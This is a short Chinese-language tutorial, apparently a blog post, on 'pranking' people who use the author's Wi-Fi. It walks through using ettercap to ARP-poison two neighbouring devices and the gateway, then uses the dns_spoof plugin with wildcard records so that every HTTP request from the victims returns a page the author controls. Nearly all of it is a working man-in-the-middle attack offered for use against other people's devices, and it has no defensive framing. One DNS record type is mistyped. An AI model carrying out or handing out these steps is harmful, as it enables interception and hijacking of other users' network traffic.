最近網速很卡，於是想到有人在蹭網，怎麽捉弄一下呢？

1、開啟ettercap

ettercap -G

2、 Hosts->Scan,List

發現有幾個新的地址192.168.1.71，192.168.1.72，我的192.168.1.35

3、在HostList中，選擇網關（192.168.1.1）右鍵，add to target2

192.168.1.71，192.168.1.72，右鍵，add to target1

4、Plugins->Manage->選擇dns_spoof

5、編輯要欺騙的url指向本機ip

vim /etc/ettercap/etter.dns

在最後添加：

*          A   192.168.1.35
*          PRT   192.168.1.35

6、編輯你希望對方看到的html

vim /var/www/html/index.html

7、啟動Apache2

service apache2 start

8、ARP欺騙

Mitm->ARP->Sniff

9、開始欺騙

Start->start

10、查看連接

View->Connections

此時對方如果通過http請求任何網站都會被返回我們編輯的html。

Ettercap內網滲透